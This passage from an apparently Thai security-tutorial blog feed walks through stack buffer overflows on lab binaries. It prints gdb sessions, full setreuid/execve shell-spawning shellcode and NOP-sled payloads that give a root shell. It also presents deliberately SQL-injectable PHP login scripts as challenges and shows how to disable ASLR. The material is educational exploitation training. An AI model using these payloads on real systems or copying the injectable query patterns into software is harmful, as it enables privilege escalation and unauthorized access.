hidden_fn: %p\n", hidden_fn);&lt;br /&gt;  strcpy(buf, argv[1]);&lt;br /&gt;&lt;br /&gt;  return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/p&gt;&lt;p&gt;เป้าหมายของตัวอย่างนี้ ชัดเจนนะครับ คือให้เรียก hidden_fn() ให้ได้ เรามาลอง gdb กันก่อน&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ gdb -q ./ex_06_1&lt;br /&gt;Reading symbols from /home/worawit/tutz/ch06/ex_06_1...(no debugging symbols found)...done.&lt;br /&gt;(gdb) disas main&lt;br /&gt;Dump of assembler code for function main:&lt;br /&gt;   0x08048482 &lt;+0&gt;:     push   %ebp&lt;br /&gt;   0x08048483 &lt;+1&gt;:     mov    %esp,%ebp&lt;br /&gt;   0x08048485 &lt;+3&gt;:     sub    $0x10,%esp&lt;br /&gt;   0x08048488 &lt;+6&gt;:     mov    $0x8048588,%eax&lt;br /&gt;   0x0804848d &lt;+11&gt;:    movl   $0x8048464,0x4(%esp)&lt;br /&gt;   0x08048495 &lt;+19&gt;:    mov    %eax,(%esp)&lt;br /&gt;   0x08048498 &lt;+22&gt;:    call   0x8048378 &lt;printf@plt&gt;&lt;br /&gt;   0x0804849d &lt;+27&gt;:    mov    0xc(%ebp),%eax&lt;br /&gt;   0x080484a0 &lt;+30&gt;:    add    $0x4,%eax&lt;br /&gt;   0x080484a3 &lt;+33&gt;:    mov    (%eax),%eax&lt;br /&gt;   0x080484a5 &lt;+35&gt;:    mov    %eax,0x4(%esp)&lt;br /&gt;   0x080484a9 &lt;+39&gt;:    lea    -0x8(%ebp),%eax   # โหลด address ของ buf ที่ address ebp-8&lt;br /&gt;   0x080484ac &lt;+42&gt;:    mov    %eax,(%esp)&lt;br /&gt;   0x080484af &lt;+45&gt;:    call   0x8048368 &lt;strcpy@plt&gt;&lt;br /&gt;   0x080484b4 &lt;+50&gt;:    mov    $0x0,%eax&lt;br /&gt;   0x080484b9 &lt;+55&gt;:    leave&lt;br /&gt;   0x080484ba &lt;+56&gt;:    ret&lt;br /&gt;End of assembler dump.&lt;br /&gt;(gdb) b *0x080484af    # set breakpoint ก่อนเรียก strcpy&lt;br /&gt;Breakpoint 1 at 0x80484af&lt;br /&gt;(gdb) r UUUUUUUU&lt;br /&gt;Starting program: /home/worawit/tutz/ch06/ex_06_1 UUUUUUUU&lt;br /&gt;Address of hidden_fn: 0x8048464&lt;br /&gt;&lt;br /&gt;Breakpoint 1, 0x080484af in main ()&lt;br /&gt;(gdb) i f&lt;br /&gt;Stack level 0, frame at 0xbffff710:&lt;br /&gt; eip = 0x80484af in main; saved eip 0x154bd6&lt;br /&gt; Arglist at 0xbffff708, args:&lt;br /&gt; Locals at 0xbffff708, Previous frame s sp is 0xbffff710&lt;br /&gt; Saved registers:&lt;br /&gt;  ebp at 0xbffff708, eip at 0xbffff70c     # จำ address ของ saved eip ไว้&lt;br /&gt;(gdb) x/8x $ebp-8      # ดูค่าตั้งแต่ address ของ buf&lt;br /&gt;0xbffff700:     0x080484d0      0x00000000      0xbffff788      0x00154bd6&lt;br /&gt;0xbffff710:     0x00000002      0xbffff7b4      0xbffff7c0      0x0012f858&lt;br /&gt;(gdb) ni&lt;br /&gt;0x080484b4 in main ()&lt;br /&gt;(gdb) x/8x $ebp-8      # จะเห็นว่าถ้าจะเขียนทับ eip ต้องใส่ input ไปทั้งหมด 16 bytes&lt;br /&gt;0xbffff700:     0x55555555      0x55555555      0xbffff700      0x00154bd6&lt;br /&gt;0xbffff710:     0x00000002      0xbffff7b4      0xbffff7c0      0x0012f858&lt;br /&gt;(gdb) r UUUUUUUUUUUUABCD     # ลองดู&lt;br /&gt;The program being debugged has been started already.&lt;br /&gt;Start it from the beginning? (y or n) y&lt;br /&gt;&lt;br /&gt;Starting program: /home/worawit/tutz/ch06/ex_06_1 UUUUUUUUUUUUABCD&lt;br /&gt;Address of hidden_fn: 0x8048464&lt;br /&gt;&lt;br /&gt;Breakpoint 1, 0x080484af in main ()&lt;br /&gt;(gdb) c&lt;br /&gt;Continuing.&lt;br /&gt;&lt;br /&gt;Program received signal SIGSEGV, Segmentation fault.&lt;br /&gt;0x44434241 in ?? ()&lt;br /&gt;(gdb) i r eip    # จะเห็นค่า eip เปลี่ยนเป็น 0x44434241 คือ DCBA เพราะเรื่องของ endian&lt;br /&gt;eip            0x44434241       0x44434241&lt;br /&gt;(gdb) q&lt;br /&gt;A debugging session is active.&lt;br /&gt;&lt;br /&gt;        Inferior 1 [process 1413] will be killed.&lt;br /&gt;&lt;br /&gt;Quit anyway? (y or n) y&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จะเห็นว่าถ้าต้องการเปลี่ยนค่า saved eip ต้องใส่ข้อมูลอย่างน้อย 16 bytes โดยข้อมูล byte ที่ 12 ถึง 16 จะเป็น saved eip ที่เราต้องการจะเป็น&lt;/p&gt;&lt;p&gt;จาก output ของโปรแกรม address ของ hidden_fn คือ 0x8048464 แต่ตัวอักษรของค่าพวกนี้ เราพิมพ์ไม่ได้ ดังนั้นผมจะใช้ perl มาช่วย โดยจะได้คำสั่งตามนี้&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ ./ex_06_1 `perl -e 'print "U"x12 . "\x64\x84\x04\x08"'`&lt;br /&gt;Address of hidden_fn: 0x8048464&lt;br /&gt;You WIN&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;เย่ ทำได้แล้ว ให้สังเกตเรื่อง endian ด้วยนะครับ ว่าผมใส่ \x64 เป็นตัวแรก และ \x08 เป็นตัวสุดท้าย&lt;/p&gt;&lt;p&gt;ตัวอย่างข้างบน เราได้ทำให้โปรแกรมรัน function ที่ซ่อนไว้อยู่ แต่โดยปกตินั้น เราต้องมีการแทรก code ที่ทำงานตามที่เราต้องการ (เรียกว่า shellcode) แล้วเรียก shellcode ของเรา โดยการควบคุมค่า eip&lt;/p&gt;&lt;p&gt;แต่คราวนี้ผมขอเปลี่ยนขนาดของ buf เป็น 256 bytes (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex_06_2.c?attredirects=0&amp;d=1"&gt;ex_06_2.c&lt;/a&gt;) (ไม่แสดง code นะครับ จะได้ไม่ยาวเกิน) และให้ 2 shellcode ต่อไปนี้ (จะมีคำอธิบายพร้อมทั้งทำให้เล็กลงในหัวข้อการเขียน Linux Shellcode)&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;# setreuid(0, 0)  10 bytes&lt;br /&gt;\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80&lt;br /&gt;# execve("/bin/sh", { "/bin/sh", NULL }, NULL) 24 bytes (เอามาจากไหนไม่รู้ จำไม่ได้แล้ว)&lt;br /&gt;\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;หลังจาก compile อย่าลืมคำสั่งต่อไปนี้นะครับ&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ sudo su -c "chown root: ex_06_2;chmod 4755 ex_06_2"&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ก่อนจะเริ่มทำ ลองคิดตามผมดูว่า ครั้งนี้เราต้องทำการแทรก shellcode (inject shellcode) แล้วเปลี่ยนค่า eip ไปที่ shellcode ของเรา แล้วเราจะ inject shellcode ไปที่ไหนดี&lt;/p&gt;&lt;p&gt;ที่เห็นชัดเจนที่สุดก็คือที่ buf ในโปรแกรมนั้นแหละ (จริงๆ แล้วที่ไหนก็ได้ใน memory) แล้ว buf มัน address อะไรละ อย่างงี้เราต้องมา gdb หากัน ลุย&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ gdb -q ./ex_06_2&lt;br /&gt;Reading symbols from /home/worawit/tutz/ch06/ex_06_2...(no debugging symbols found)...done.&lt;br /&gt;(gdb) disas main&lt;br /&gt;... # ขอละ จะได้ไม่ยาว&lt;br /&gt;   0x080483d9 &lt;+21&gt;:    lea    -0x100(%ebp),%eax   # buf อยู่ที่ ebp+100&lt;br /&gt;   0x080483df &lt;+27&gt;:    mov    %eax,(%esp)&lt;br /&gt;   0x080483e2 &lt;+30&gt;:    call   0x80482fc &lt;strcpy@plt&gt;&lt;br /&gt;... # ขอละ จะได้ไม่ยาว&lt;br /&gt;(gdb) b *0x080483e2&lt;br /&gt;Breakpoint 1 at 0x80483e2&lt;br /&gt;(gdb) r AAAA&lt;br /&gt;Starting program: /home/worawit/tutz/ch06/ex_06_2 AAAA&lt;br /&gt;&lt;br /&gt;Breakpoint 1, 0x080483e2 in main ()&lt;br /&gt;(gdb) x/x $ebp-0x100&lt;br /&gt;0xbffff608:     0x00000006    # ได้ address ของ buf มาแล้ว 0xbffff608&lt;br /&gt;(gdb) q&lt;br /&gt;... # ขอละ จะได้ไม่ยาว&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;เราได้ข้อมูลทุกอย่างแล้ว buf ที่ address 0xbffff608 และ saved eip อยู่ห่างจาก buf 256+4=260 bytes (4 bytes คือ saved ebp) และ shellcode เราก็มีแล้ว แค่เอามาต่อกัน (ใน bash ต้องมีการเรียก setreuid ก่อน execve เพราะ bash จะ set ค่า euid เป็น uid ก่อนทำ execve) ตามนี้&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;# setreuid 10 bytes + execve 24 bytes + junk (260-10-24=226)&lt;br /&gt;$ ./ex_06_2 `perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "U"x226 . "\x08\xf6\xff\xbf"'`&lt;br /&gt;Segmentation fault&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;เอะ ทำไม??? เกิดอะไรขึ้น เรามาลองเอา suid bit ออกไปก่อน แล้วมาลองให้มี core dump ดูดีกว่า แล้วใช้ gdb ดู&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ sudo chmod 755 ex_06_2     # ถ้ามี suid bit อยู่จะไม่มี core dump&lt;br /&gt;$ ulimit -c unlimited        # enable core dump เฉพาะ terminal นี้&lt;br /&gt;$ ./ex_06_2 `perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "U"x226 . "\x08\xf6\xff\xbf"'`&lt;br /&gt;Segmentation fault (core dumped)&lt;br /&gt;$ gdb -q -c core&lt;br /&gt;[New Thread 1852]&lt;br /&gt;Core was generated by `./ex_06_2 1▒1▒1ɰF̀1▒Phn/shh//bi▒▒RS▒▒                                                           ̀UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU`.&lt;br /&gt;Program terminated with signal 11, Segmentation fault.&lt;br /&gt;#0  0xbffff640 in ?? ()&lt;br /&gt;(gdb) x/4x 0xbffff608    # ทำไม address นี้เป็นขยะไปละ แล้ว shellcode เราอยู่ไหน&lt;br /&gt;0xbffff608:     0x55555555      0x55555555      0x55555555      0x55555555&lt;br /&gt;(gdb) x/8x 0xbffff608-208  # เจอแล้วที่ address 0xbffff538&lt;br /&gt;0xbffff538:     0xdb31c031      0x46b0c931      0xc03180cd      0x2f6e6850&lt;br /&gt;0xbffff548:     0x2f686873      0x8969622f      0x535299e3      0x0bb0e189&lt;br /&gt;(gdb) q&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;เกิดอะไรขึ้น ทำไม buf กลายเป็นอยู่ที่ address 0xbffff538 ขอตอบสั้นๆ เพราะ argv และ env ที่ run ด้วย gdb กับจาก shell ตรงๆ มันไม่เหมือนกัน ทำให้ address ของตัวแปรต่างๆ ใน stack ถูกเปลี่ยน งั้นเราลองอีกทีด้วย address ใหม่&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ sudo chmod 4755 ex_06_2&lt;br /&gt;$ ./ex_06_2 `perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "U"x226 . "\x38\xf5\xff\xbf"'`&lt;br /&gt;# id&lt;br /&gt;uid=0(root) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)&lt;br /&gt;# exit&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ได้แล้ว กลายเป็น root แล้ว :) แต่เห็นปัญหามั้ยครับ ว่าเราต้องใส่ address ของ buf ให้มันตรงเป๊ะ อย่างงี้เปลี่ยนเครื่อง exploit เราก็อาจจะทำงานผิดพลาด&lt;/p&gt;&lt;p&gt;ยังจำ NOP (0x90) ในหัวข้อ assembly ได้มั้ยครับ การใส่ NOP เป็นวิธีหนึ่งที่ทำให้ exploit มี reliable มากขึ้น โดยแทนที่จะให้มีขยะต่อท้าย shellcode เราจะใส่ NOP sled ไว้ก่อน shellcode ดังนั้นค่า saved eip ที่เราเปลี่ยน ขอแค่ชี้ไปที่ address ไหนก็ได้ใน NOP sled โปรแกรมก็จะ run shellcode ของเรา (ในกรณีนี้ เราต้องมีขยะต่อท้ายอย่างน้อย 16 bytes เพื่อเว้นที่ให้ shellcode ของเราเก็บค่าต่างๆ แต่ผมเว้นไว้ 20 bytes) ตามรูปข้างล่าง&lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_4X9aA2jxLhc/TSHRHL4t1kI/AAAAAAAAADY/X_W4eZ_7kks/s1600/liexp_06_2.gif" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="400" width="361" src="http://1.bp.blogspot.com/_4X9aA2jxLhc/TSHRHL4t1kI/AAAAAAAAADY/X_W4eZ_7kks/s400/liexp_06_2.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ ./ex_06_2 `perl -e 'print "\x90"x206 . "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" . "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "U"x20 . "\x08\xf6\xff\xbf"'`&lt;br /&gt;# id&lt;br /&gt;uid=0(root) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)&lt;br /&gt;# exit&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จะเห็นว่า ครั้งนี้ผมใช้ address เดิมที่หาได้จาก gdb ครั้งแรก ก็ยังทำงานได้ เย่ๆ ทำได้แล้ว (อย่างน้อยก็แบบที่ง่ายที่สุด)&lt;/p&gt;&lt;p&gt;ก่อนจะไปหัวข้อถัดไป ผมขอให้ลองเปลี่ยน address ที่จะเขียนทับ saved eip ลองดูว่า exploit ที่มี NOP ยังทำงานได้ปกติกับหลายๆ address และให้ลองเอา shellcode setreuid ออก แล้วดูความแตกต่างระหว่างมีกับไม่มี (แก้แล้ว ต้องแก้จำนวน nop หรือ ขยะด้วยนะครับ)&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4476954070144250460-8797148179863530923?l=thtutz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thtutz.blogspot.com/feeds/8797148179863530923/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thtutz.blogspot.com/2011/01/buffer-overflow-spawn-shell.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/8797148179863530923'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/8797148179863530923'/><link rel='alternate' type='text/html' href='http://thtutz.blogspot.com/2011/01/buffer-overflow-spawn-shell.html' title='Buffer Overflow ให้โปรแกรม spawn shell'/><author><name>Worawit (sleepya)</name><uri>http://www.blogger.com/profile/16667985019731254845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_4X9aA2jxLhc/TSHO1g9jcjI/AAAAAAAAADQ/lMDnkSHitns/s72-c/liexp_06_1.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4476954070144250460.post-2069626784823946137</id><published>2011-01-01T22:07:00.003+07:00</published><updated>2011-01-18T23:56:11.717+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='SQL Injection'/><title type='text'>PHP Login กับ SQL Injection (คำถาม)</title><content type='html'>&lt;p&gt;สวัสดีปีใหม่ ปีใหม่ทั้งที หาอะไรเล่นสนุกๆ ดีกว่า วันนี้ผมมีปัญหามาให้ทำเกี่ยวกับ sql injection 4 ข้อ เริ่มกันเลยดีกว่า&lt;/p&gt;&lt;p&gt;เหมือนครั้งที่แล้ว setup web server กับ mysql เอาเองนะครับ โดยใน mysql ให้สร้าง db ชื่อว่า thtutz แล้วก็ table ชื่อ members โดยมี column id, username, password แล้วใส่ user เข้าไปอย่างน้อย 2 users นะครับ ผมได้เตรียม sql batch ไว้แล้ว (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/web_challenge/dbsetup.sql?attredirects=0&amp;d=1"&gt;db_setup.sql&lt;/a&gt;) แค่ run ด้วย mysql root&lt;/p&gt;&lt;p&gt;หลังจาก create table ใน mysql server แล้วก็เอา php code ต่อไปนี้ ไปลองทำ sql injection ดูนะครับ&lt;/p&gt;&lt;p&gt;&lt;b&gt;ข้อ 1&lt;/b&gt; (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/web_challenge/login_sqli1.php?attredirects=0&amp;d=1"&gt;login_sqli1.php&lt;/a&gt;) อันนี้ทดสอบ basic&lt;pre class="code language-php"&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;$db = mysql_connect('localhost', 'thtutz', 'password') or die('Could not connect to db');&lt;br /&gt;mysql_select_db('thtutz') or die('Could not select thtutz');&lt;br /&gt;&lt;br /&gt;$sql = "SELECT * FROM members WHERE password='".md5($_GET['password'])."' AND username='".$_GET['username']."'";&lt;br /&gt;$result = mysql_query($sql, $db);&lt;br /&gt;if ($result === FALSE)&lt;br /&gt;    die('Invalid SQL query');&lt;br /&gt;    &lt;br /&gt;if (mysql_num_rows($result) == 1) {&lt;br /&gt;    echo "Congrats, WIN!!!\n";&lt;br /&gt;}&lt;br /&gt;else {&lt;br /&gt;    echo "The number of rows is not 1\n";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;mysql_close($db);&lt;br /&gt;&lt;/pre&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;ข้อ 2&lt;/b&gt; (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/web_challenge/login_sqli2.php?attredirects=0&amp;d=1"&gt;login_sqli2.php&lt;/a&gt;) อันนี้ warm up&lt;pre class="code language-php"&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;$db = mysql_connect('localhost', 'thtutz', 'password') or die('Could not connect to db');&lt;br /&gt;mysql_select_db('thtutz') or die('Could not select thtutz');&lt;br /&gt;&lt;br /&gt;$sql = "SELECT * FROM members WHERE username='".$_GET['username']."'";&lt;br /&gt;$result = mysql_query($sql, $db);&lt;br /&gt;if ($result === FALSE)&lt;br /&gt;    die('Invalid SQL query');&lt;br /&gt;    &lt;br /&gt;if (mysql_num_rows($result) == 1) {&lt;br /&gt;    $row = mysql_fetch_array($result);&lt;br /&gt;    if ($row['password'] == md5($_GET['password'])) {&lt;br /&gt;        echo "Congrats, WIN!!!\n";&lt;br /&gt;    }&lt;br /&gt;    else {&lt;br /&gt;        echo "Invalid username or password\n";&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;else {&lt;br /&gt;    echo "The number of rows is not 1\n";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;mysql_close($db);&lt;br /&gt;&lt;/pre&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;ข้อ 3&lt;/b&gt; (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/web_challenge/login_sqli3.php?attredirects=0&amp;d=1"&gt;login_sqli3.php&lt;/a&gt;) ข้อนี้ยากที่สุดที่ผมคิดได้ เกี่ยวกับ login โดยไม่มีการทำ filter&lt;pre class="code language-php"&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;$db = mysql_connect('localhost', 'thtutz', 'password') or die('Could not connect to db');&lt;br /&gt;mysql_select_db('thtutz') or die('Could not select thtutz');&lt;br /&gt;&lt;br /&gt;$sql = "SELECT * FROM members WHERE username='".$_GET['username']."'";&lt;br /&gt;$result = mysql_query($sql, $db);&lt;br /&gt;if ($result === FALSE)&lt;br /&gt;    die('Invalid SQL query');&lt;br /&gt;    &lt;br /&gt;if (mysql_num_rows($result) == 1) {&lt;br /&gt;    $row = mysql_fetch_array($result);&lt;br /&gt;    if ($row['username'] == $_GET['username'] &amp;&amp; $row['password'] == md5($_GET['password'])) {&lt;br /&gt;        echo "Impossible to be here with SQL injection\n";&lt;br /&gt;        echo "Congrats, WIN!!!\n";&lt;br /&gt;    }&lt;br /&gt;    else {&lt;br /&gt;        echo "Invalid username or password\n";&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;else {&lt;br /&gt;    echo "The number of rows is not 1\n";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;mysql_close($db);&lt;br /&gt;&lt;/pre&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;ข้อ 4&lt;/b&gt; (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/web_challenge/login_sqli4.php?attredirects=0&amp;d=1"&gt;login_sqli4.php&lt;/a&gt;) เอาความคิดมาจาก LEETMORE CTF 2010&lt;pre class="code language-php"&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;// idea from LEETMORE ctf 2010&lt;br /&gt;&lt;br /&gt;$db = mysql_connect('localhost', 'thtutz', 'password') or die('Could not connect to db');&lt;br /&gt;mysql_select_db('thtutz') or die('Could not select thtutz');&lt;br /&gt;&lt;br /&gt;$sql = 'SELECT * FROM members WHERE password="' . md5($_GET['password'], true) . '"';&lt;br /&gt;$result = mysql_query($sql, $db);&lt;br /&gt;if ($result === FALSE)&lt;br /&gt;    die('Invalid SQL query');&lt;br /&gt;    &lt;br /&gt;if (mysql_num_rows($result) &gt; 0) {&lt;br /&gt;    echo "Congrats, WIN!!!\n";&lt;br /&gt;}&lt;br /&gt;else {&lt;br /&gt;    echo "Incorrect password\n";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;mysql_close($db);&lt;br /&gt;&lt;/pre&gt;&lt;/p&gt;&lt;p&gt;คราวนี้ใจดีมี hint ให้ หวังว่าจะช่วยได้&lt;/p&gt;&lt;p&gt;็Hint:&lt;br/&gt;1. http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/&lt;br/&gt;2. google&lt;br/&gt;&lt;/p&gt;&lt;p&gt;ใช้เวลากับมันหน่อยนะครับ (ข้อ3 กับ ข้อ4) เพราะผมเองก็ต้องทำเป็นชั่วโมง (ตั้งโจทย์เองแท้ๆ)&lt;/p&gt;&lt;p&gt;ครั้งนี้ ผมให้เวลา 2-3 สัปดาห์ แล้วค่อยเฉลย เหมือนเดิมทำได้แล้วอย่า post เฉลยนะครับ&lt;/p&gt;&lt;p&gt;Update: ผมได้ publish เฉลยแล้วนะครับ ถ้าคิดไม่ออกแล้วก็ &lt;a href="http://thtutz.blogspot.com/2011/01/php-login-sql-injection_18.html"&gt;กดเลยครับ&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4476954070144250460-2069626784823946137?l=thtutz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thtutz.blogspot.com/feeds/2069626784823946137/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thtutz.blogspot.com/2011/01/php-login-sql-injection.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/2069626784823946137'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/2069626784823946137'/><link rel='alternate' type='text/html' href='http://thtutz.blogspot.com/2011/01/php-login-sql-injection.html' title='PHP Login กับ SQL Injection (คำถาม)'/><author><name>Worawit (sleepya)</name><uri>http://www.blogger.com/profile/16667985019731254845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4476954070144250460.post-8042428050974678128</id><published>2011-01-01T17:04:00.002+07:00</published><updated>2012-02-20T10:09:00.251+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='writing exploit'/><title type='text'>เตรียม Ubuntu สำหรับการเขียน exploit บน Linux</title><content type='html'>&lt;p&gt;หัวข้อนี้ ถ้าใครเพิ่งเริ่มสามารถข้ามไปอ่านเนื้อหาก่อนได้เลย แต่แนะนำให้ทำก่อนเริ่มหัวข้อที่ &lt;a href="http://thtutz.blogspot.com/2011/01/gdb.html"&gt;5.GDB เบื้องต้น&lt;/a&gt;&lt;/p&gt;วิธีการลง Ubuntu ขอให้หาวิธีการลงเอาเอง ผมจะพูดถึงขั้นตอนหลังคุณ login เข้า Ubuntu ได้แล้ว แต่ตามที่ผมได้กล่าวไว้ในหัวข้อ "&lt;a href="http://thtutz.blogspot.com/2010/11/buffer-overflow.html"&gt;Buffer Overflow คืออะไร&lt;/a&gt;" ว่าแนะนำให้ลง Ubuntu 10.04 ใน Virtual Machine โดยโปรแกรมฟรีที่คนส่วนมากใช้กันก็มี VMWare Player กับ VirtualBox&lt;/p&gt;&lt;p&gt;ขั้นตอนก็มีสั้นๆ ตามนี้&lt;/p&gt;&lt;p&gt;&lt;b&gt;1. Disable ASLR แบบ ถาวร&lt;/b&gt;&lt;br/&gt;เพิ่ม &lt;span class="code"&gt;"kernel.randomize_va_space = 0"&lt;/span&gt; เข้าไปใน &lt;span class="code"&gt;/etc/sysctl.conf&lt;/span&gt; แล้วพิมพ์คำสั่ง&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ sudo sysctl -p&lt;br /&gt;&lt;/pre&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;2. ลงโปรแกรมสำหรับ compile&lt;/b&gt;&lt;br/&gt;พิมพ์คำสั่ง&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ sudo apt-get install build-essential binutils&lt;br /&gt;&lt;/pre&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;3. ลง gcc3.4&lt;/b&gt;&lt;br/&gt;พิมพ์คำสั่ง&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ sudo add-apt-repository ppa:yofel/off-ppa&lt;br /&gt;$ sudo apt-get install gcc-3.4&lt;br /&gt;&lt;/pre&gt;&lt;/p&gt;จริงๆ แล้ว น่าจะต้องลงโปรแกรมมากกว่านี้นะครับ แต่ผมจำไม่ได้แล้ว เพราะ Ubuntu ของผมลงไปเยอะมากแล้ว เอาเป็นว่าถ้าเจอคำสั่งไหนที่ Ubuntu บอกว่าให้ลงโปรแกรมเพิ่ม ก็ลงตามที่ Ubuntu แนะนำนะครับ&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4476954070144250460-8042428050974678128?l=thtutz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thtutz.blogspot.com/feeds/8042428050974678128/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thtutz.blogspot.com/2011/01/ubuntu-exploit-linux.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/8042428050974678128'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/8042428050974678128'/><link rel='alternate' type='text/html' href='http://thtutz.blogspot.com/2011/01/ubuntu-exploit-linux.html' title='เตรียม Ubuntu สำหรับการเขียน exploit บน Linux'/><author><name>Worawit (sleepya)</name><uri>http://www.blogger.com/profile/16667985019731254845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4476954070144250460.post-6398961242076142135</id><published>2011-01-01T12:47:00.267+07:00</published><updated>2011-09-08T22:28:49.219+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='writing exploit'/><title type='text'>GDB เบื้องต้น</title><content type='html'>&lt;p&gt;GDB คือ debugger 